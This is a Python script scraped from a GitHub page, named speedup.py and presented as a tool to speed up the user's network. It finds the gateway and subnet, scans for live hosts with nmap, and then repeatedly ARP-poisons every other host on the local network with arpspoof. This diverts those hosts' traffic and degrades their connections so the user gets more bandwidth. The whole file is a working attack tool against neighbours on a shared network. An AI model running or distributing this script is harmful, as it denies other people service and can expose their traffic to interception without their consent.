-
Notifications
You must be signed in to change notification settings - Fork 8
/
speedup.py
102 lines (86 loc) · 3.23 KB
/
speedup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/python
import nmap
import optparse
import os
import sys
import subprocess
import time
def get_def_route(iface):
"""Input is interface and returns default gateway ip address
"""
data = os.popen("/sbin/route -n ").readlines()
for line in data:
if line.startswith("0.0.0.0") and (iface in line):
print "Default Gateway: " + line.split()[1]
return line.split()[1]
print "Error: unable to find default route"
sys.exit(0)
def get_IP_info(iface):
"""Input in interface and returns network address in CIDR notation
and ip address of host.
"""
ip = None
mask = None
data = os.popen("/sbin/ifconfig " + iface).readlines()
for line in data:
if line.strip().startswith("inet addr"):
ip = line.split(":")[1].split()[0]
mask = line.split(":")[3].strip()
break
if ip == None or mask == None:
print "Error: unable to find default IP"
sys.exit(0)
else:
ipaddr = ip.split('.')
netmask = mask.split('.')
# ANDing IP address and Network Mask, byte by byte
net_start = [str(int(ipaddr[x]) & int(netmask[x])) for x in range(0,4)]
binmask = ''.join([bin(int(octet))[2:].zfill(8) for octet in netmask])
prefix_len = str(len(binmask.rstrip('0')))
return ('.'.join(net_start) + "/" + prefix_len, ip)
def get_online_hosts(network, exclusion):
"""Input in network address in CIDR notation and list of IP addresses
to be excluded. And returns list of hosts that are online.
"""
nm = nmap.PortScanner()
nm.scan(hosts=network, arguments='-n -sP -PE -PA21,23,80,3389')
hosts = [h for h in nm.all_hosts() if nm[h].state() == 'up']
hosts = list(set(hosts) - set(exclusion))
print "Hosts up:"
for host in hosts: print host
return hosts
def stop_processes(processes):
for p in processes:
p.terminate()
def arp_poison(victims, router, iface):
"""Input in list of ip address to be ARP poisoned as victims. Default
gateway ip address and interface on which this network is connected.
"""
processes = []
try:
for victim in victims:
print "Starting to arpspoof from", router, "to", victim
processes.append(subprocess.Popen('sudo arpspoof ' + router + ' -i ' + iface + ' -t ' + victim, shell=True))
time.sleep(120)
except KeyboardInterrupt:
stop_processes(processes)
sys.exit(0)
stop_processes(processes)
def main():
parser = optparse.OptionParser("sudo python %prog")
parser.add_option('-i', dest='iface', type='string', default='eth0', help="network interface you wanna speed up")
parser.add_option('-e', dest='exclude', type='string', help= "specify ip[s] to be excluded seperated by comma")
options, args = parser.parse_args()
iface = options.iface
if options.exclude == None:
exclusion = list()
else:
exclusion = options.exclude.split(',')
router = get_def_route(iface)
network, ip = get_IP_info(iface)
exclusion += [router, ip]
while True:
hosts = get_online_hosts(network, exclusion)
arp_poison(hosts, router, iface)
if __name__ == '__main__':
main()